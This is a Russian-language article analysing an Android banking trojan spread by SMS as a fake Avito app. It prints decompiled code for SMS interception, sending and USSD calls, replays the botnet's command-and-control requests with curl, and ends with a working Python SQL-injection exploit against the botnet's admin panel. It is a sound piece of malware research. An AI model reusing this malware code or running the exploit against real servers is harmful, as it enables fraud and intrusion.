Исследование распространенной малвари под Android

47c957e5e06c4d81899b1149cef9c61a.png
Часто вирусы для android приходят к нам при помощи рассылок. Раньше это были СМС, а теперь еще и современные мессенджеры. Мне было интересно посмотреть, что же сейчас на рынке вредоноса, поэтому зарегистрировалась и подала пару объявлений на avito.
Спустя пару дней после публикации мне позвонили из салона красоты Desheli и пригласили на бесплатную процедуру, вроде как подарок от кого-то из друзей. Смысл в том, что после процедуры они крайне настойчиво уговаривают взять кредит на их косметику. Тема старая, избитая, но все еще работает. А после позвонили еще из чего-то подобного, только тут уже честно сказали, что база номеров набирается автоматически. Всякий раз, как спрашивала название их конторы, начинался ужасный шум, явно не просто так. То, что номер взяли с avito, было понятно, потому что ко мне обращались по тому имени, что я написала в объявлении.

А то, ради чего это все затевалось, пришло только через пару недель. Мне прислали почти подряд 3 смс примерно одинакового содержания.
97f0e33af8784a208b0e8bbb144b139e.png
Что примечательно, из 3 ссылок доступна была только одна, при том, что попытка скачать была сразу же после получения смс.

Скаченный avito.apk весит 437 кб. Это много. Такой размер оказался из-за библиотеки android.support.v7, которая тут не нужна. Если её убрать, будет ~50 кб.
Отчет virustotal
Судя по количеству детектов, сомнений быть не может — это зловред, еще и не обфусцированный

Начнем с AndroidManifest.xml

Смотрим права, которые запрашиваются при установке приложения:

    
    
    
    
    
    
    
    
    
    
    
    
    
    

Все права ожидаемы, кроме android.permission.VIBRATE, потому что обычно все стараются скрывать свое присутствие в системе. После детального осмотра кода выяснилось, что есть еще не используемый запрос android.permission.WRITE_EXTERNAL_STORAGE. Скорее всего, из кода удаляли лишнее или заготовили и не дописали.

Дальше по манифесту DEVICE_ADMIN

Таким образом, приложение помечается как администратор устройства и его нельзя удалить, пока не сняты права в Настройки-Безопасность-Администраторы устройства

   
            
            
                
            
    

layout/policies.xml:



    


Запрос прав происходит с текстом:

«Условия использования Google Play.
Бесплатный Контент.
Google может разрешать бесплатно загружать или использовать Контент.
К бесплатному Контенту применяются те же условия, что и к купленному, кроме положений, связанных с оплатой (например, к бесплатному Контенту не применяются положения данных Условий о возврате уплаченной цены).
Google может налагать ограничения на ваш доступ к определенному бесплатному Контенту и на его использование вами.»

А отключение прав — «Если вы продолжите, могут возникнуть проблемы при работе с приложениями! Вы уверены, что хотите продолжить?»
На самом деле никаких проблем не будет. Это последний шанс отговорить пользователя.

public CharSequence onDisableRequested(Context ctx, Intent paramIntent) {
        return "Если вы продолжите, могут возникнуть проблемы при работе с приложениями! Вы уверены, что хотите продолжить?";
    }

Если отказаться, попросит еще раз.

Дальше видим фейк на Google Play, выполненный в старом дизайне, еще доматериальном.

      

Завершается манифест

  
            
                
                
                
                
                
            
        
        
        
    


android.provider.Telephony.SMS_RECEIVED — получение смс, приоритет выставлен не максимальный
android.intent.action.BOOT_COMPLETED — для автозапуска после загрузки устройства
android.intent.action.USER_PRESENT — пользователь разблокировал устройство
android.intent.action.PHONE_STATE, android.intent.action.NEW_OUTGOING_CALL — отслеживание звонков пользователя

Устанавливаем, разрешаем администратора устройства, дальше ожидается, что приложение будет спрятано на устройстве. Но оно остается в списке приложений, его даже запустить можно. Подразумевается, что это должно успокоить пользователя.
Скорее всего, разработчик не смог вызвать Activity с запросом прав администратора и решил вывести ошибку.

c048981d7f4549b6be8afe5f2b86de5e.png56478b6f009047b49d024190595a802f.pngd17dbbab116a4816817d1d51a55fa364.png199f6adebbf64cbfa011f7203743f4b7.png

К сожалению, автозалива по сбербанку у бота не оказалось, владелец посылает команды руками.
Сначала идет запрос на регистрацию бота

curl --socks5 127.0.0.1:9050 --data "mode=register&prefix=1&version_sdk=123.4.4(Bot.v.4.2)&imei=1234567890123&country=ru&number=null&operator=Beeline" http://url.com/controller.php

После чего боту присваивается порядковый номер и пароль. На момент, когда начала анализ, было 350 пользователей.

{"response": [{"bot_id": 1234, "bot_pwd": "blabla"}], "status": "ok"}

Дальше идет запрос команды

curl --socks5 127.0.0.1:9050 --data "mode=getTask&bid=348&pwd=17h9q&divice_admin=1" http://url.com/controller.php
{"response": [{"mode": "set_intercept", "intercept": "all"},{"mode": "upcatsm"},{"mode": "timer_msg", "sms_id": "1232", "sms_text": "БАЛАНС", "sms_number": "900", "time": "20"}], "status": "ok"}

Отвечаем балансом карты:

curl --socks5 127.0.0.1:9050 --data "mode=setSaveInboxSms&number=900&text=VISA1234 Баланс:23000р.&time=2016-01-27 20:01:15&status_sms=1&sms_mode=2&bid=1234" http://url.com/controller.php

{"response": [], "status": "ok"}

После отправки запроса о балансе и повторного запроса команды выдается команда на перехват смс.

{"response": [{"mode": "set_intercept", "intercept": "all"}], "status": "ok"}

Запрос баланса сбербанка идет в автоматическом режиме. Какие-либо иные команды также на ручном управлении.

Получение команды.
Тут следовало бы использовать case, но автор не в курсе, как сравнивать строки в JAVA

 JSONObject newOb = arr.getJSONObject(i);
                            if (newOb.getString("mode").equals("set_intercept")) {
                                dbSet.setIntercept(newOb.getString(DbSet.INTERCEPT));
                            }
                            if (newOb.getString("mode").equals("set_interval")) {
                                dbLog.setInterval(newOb.getInt(U_COLUMS.INTERVAL));
                            }
                            if (newOb.getString("mode").equals("send_sms")) {
                                mItem = new MessageItem(newOb.getString("sms_number"), newOb.getString("sms_text"), newOb.getInt("sms_id"));
                                Settings.sendSms(MainService.this.ctx, mItem);
                            }
                            if (newOb.getString("mode").equals("set_server")) {
                                dbSet.setServer(MainService.this.ctx, newOb.getString(DbSet.SERVER));
                            }
                            if (newOb.getString("mode").equals("upcatsm")) {
                                new Settings(MainService.this.ctx).upServerCatSms();
                            }
                            if (newOb.getString("mode").equals("upsmlist")) {
                                new Settings(MainService.this.ctx).upServerSmsList(newOb.getString("number"));
                            }
                            if (newOb.getString("mode").equals("changeNotify")) {
                                dbSet.setNotify(newOb.getString("text"));
                            }
                            if (newOb.getString("mode").equals("get_ussd")) {
                                SettingsBase.ussdOn(MainService.this.ctx, newOb.getString("text"));
                            }
                            if (newOb.getString("mode").equals("timer_msg")) {
                                mItem = new MessageItem(newOb.getString("sms_number"), newOb.getString("sms_text"), newOb.getInt("sms_id"));
                                Settings.sendSmsTimer(MainService.this.ctx, mItem, newOb.getInt("time"));
}



set_intercept — включает перехват смс на устройстве
И проверка фильтра, по которому идет перехват сообщений

   if ((str.equals("all")) || (str.equals("All")) || (str.equals("ALL")) || (str.equals("")))


И если уж перебирать все варианты, то где еще 5? Для сравнений строк независимо от регистра следовало бы использовать compareToIgnoreCase

setInterval — изменение времени отклика к гейту

send_sms
Отправка смс реализована несколько криво. Не поддерживает отправку составных смс — максимальная длина 70 символов русскими буквами. Рассылку по контактам будет делать неудобно.

public static boolean sendSms(Context context, MessageItem item) {
        try {
            Intent intent = new Intent(context, MainReceiver.class);
            intent.setAction(Constants.CONST_SMS_DELIVERED_STATUS);
            intent.putExtra(Constants.CONST_ID_SEND_SMS, item.id);
            PendingIntent sentPendingIntent = PendingIntent.getBroadcast(context, item.id, intent, 0);
            try {
                SmsManager.getDefault().sendTextMessage(item.phone, null, item.text, sentPendingIntent, null);
            } catch (Exception e) {
                sendMessage(context, "Неизвестная ошибка при отправке СМС.", "ERROR", 1, 0);
            }
            return true;
        } catch (Exception ex) {
            ex.printStackTrace();
            return false;
        }
    }

set_server — меняет адрес гейта, записывается в SharedPreference

upsmlist, upcatsm — отправляют все входящие и исходящие смс в формате json на сервер

changeNotify — посылает пользователю push уведомление с заданным текстом с иконкой от google play. Вот тут вызывается Activity с фейком google play.
Команда на вызов фейка мне не пришла, а собрать пустое приложение с xml фейка не получилось. Похоже при декомпиляции поломался. Ничего интересного в нем все равно нет. Провека на валидность по алгоритму Луна, год, etc

card.xml


            
        
        
    
    
        
        

get_ussd
Android не имеет API для получения ответа от USSD команд. Т.е. команду выполнит, но получить текст из ответа нельзя. Тут есть 2 решения проблемы — или через специальные возможности, или подключить стороннюю библиотеку IExtendedNetworkService.aidl. Спец.возможности работают, начиная с 4 версии android, требуют включения отдельной опции в настройках и перехватывают все всплывающие окна без исключения. Также эти уведомления можно глобально подавить. С библиотекой все проще, она ловит, когда это требуется, и работает, начиная с 2 версии андроида. Но слухи о её работоспособности сильно преувеличены.
При этом перехват ответа от USSD может понадобиться только для получения баланса симкарты. USSD команды сбербанка работают таким образом, что и код подтверждения, и ответ будут отправлены по смс.

public static void ussdOn(Context context, String phone) {
        phone = new StringBuilder(String.valueOf(phone)).append(Uri.encode("#")).toString();
        C0091M.m6d("ussdOn: " + phone);
        try {
            Intent intent = new Intent("android.intent.action.CALL", Uri.parse("tel:" + phone));
            intent.addFlags(268435456);
            context.startActivity(intent);
        } catch (Exception e) {
            Settings.sendMessage(context, "Неизвестаная ошибка: USSD " + phone, "СИСТЕМА", 2, 0);
        }
    }


В боте же USSD команда выполняется как факт. Команда прошла или ексепшен. Результат тут не будет получен.

timer_msg — отправка смс по таймеру

Бот имеет скрытый потенциал, функции которые не используются:

downloadFile, installApk — лоадер
getContacts — сбор номеров из телефонной книги
openUrl — вызов браузера с заданным адресом

После анализа бота, скинула посмотреть ссылку на админку letm.

Увидев разрешенный dir listng, решил поискать сервак где не интерпретируется php код, чтобы получить исходники. В итоге нашел на ргхосте незапароленный архив с исходным кодом.
Быстро прошелся по исходникам — большинство параметров фильтруется и проведение атаки невозможно. Но попался один момент где фильтруемый парамер перестал быть таковым.
Разработчик заместо того, чтобы использовать фильтруемый параметр в качестве аргумента в функции предпочел взять то же параметр, но без фильтра. Сама функция помещает информацию о балансе в базу данных.
Тот самый параметр, который передается без фильтра дальше проходит через регулярное выражение preg_match ('/Балансы: (.*?) руб./is', $message, $links)
то что у нас в (.*?) затем будет использовано в запросе к базе данных. Такое регулярное выражение позволяет нам использовать произвольный текст, в данном случае это инъекция.
При помощи инъекции мы можем писать произвольные данные в таблицу в тот числе из других таблиц, что очевидно. Проблема состоит как в дальнейшем их просмотреть, в скрипте выключен показ ошибок. Нужно искать момент доступный для пользователя без авторизации. И такой имеется в регистрации бота. Если бот уже был зарегистрирован, в выводе нам покажет его пароль. Что мы и делаем при помощи инъекции — обновляем свой пароль, отсылаем пакет регистрации повторно и получаем вывод
В итоге написал сплоит, который вытаскивает текущего юзера и версию

python exploit.py target.com

exploit.py
import urllib2,urllib,sys,re

def register(target, mode):
        values = { 'prefix': '111111111','version_sdk': '222222222', 'version_bot': '333333333', 'imei':'4444444444444', 'country':'%%', 'number':'31333731337', 'operator':'telekom'}
        data = urllib.urlencode(values)
        req = urllib2.Request(target+'/controller.php?mode=register', data)
        response = urllib2.urlopen(req)
        result = response.read()
        bot_pwd = re.compile('"bot_pwd": "(.*)"}]');
        regex_pwd = re.findall(bot_pwd, result)
        bot_id = re.compile('"bot_id": (\d+),');
        regex_id = re.findall(bot_id, result)
        if len(regex_pwd)>0:
                if mode == None:
                        exploit(target, regex_id[0], None)
                else:
                        print "Result: "+regex_pwd[0]
        else:
                print 'exploit failed.. cannot find enabled country or smth... :('

def exploit(target, id, payload):
        print 'Sending payload';
        if payload==None:
                payload="\xD0\x91\xD0\xB0\xD0\xBB\xD0\xB0\xD0\xBD\xD1\x81: aaaa',pwd=(select concat_ws(0x3a,version(),user())) WHERE id="+str(id)+" -- 1\xD1\x80."
        values = { 'bid': '111111111','sms_mode': '1', 'number': '900', 'text': payload}
        data = urllib.urlencode(values)
        req = urllib2.Request(target+'/controller.php?mode=setSaveInboxSms', data)
        response = urllib2.urlopen(req)
        register(target, 'result')

if len(sys.argv)>1:
        print 'Ur target is:'+sys.argv[1]
        print register(sys.argv[1], None)
else:
        print 'usage: exploit.pl '


© Habrahabr.ru